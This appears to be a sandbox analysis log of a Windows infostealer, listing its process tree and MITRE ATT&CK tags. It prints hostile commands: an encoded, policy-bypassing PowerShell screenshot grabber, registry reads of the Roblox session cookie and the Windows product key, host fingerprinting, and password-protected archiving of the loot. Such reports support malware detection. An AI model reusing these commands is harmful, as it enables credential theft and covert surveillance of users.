      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3192
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z3emhkwb\z3emhkwb.cmdline"
        5⤵
        
        PID:2412
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7436.tmp" "c:\Users\Admin\AppData\Local\Temp\z3emhkwb\CSCC0E692D1F46F4F948EEAAAD8CD6D66C.TMP"
        6⤵
        
        PID:5032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2432
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4664
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:1164
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3184
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4704
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:4808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2432
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:3584
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:3424
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI46522\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\E7q3a.zip" *"
    3⤵
    PID:2516
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4704
  - - C:\Users\Admin\AppData\Local\Temp\_MEI46522\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI46522\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\E7q3a.zip" *
      4⤵
      Executes dropped EXE
      PID:1960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:920
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      PID:3984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:4984
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:4816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:4832
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:3444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:2168
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:4876
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:3308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...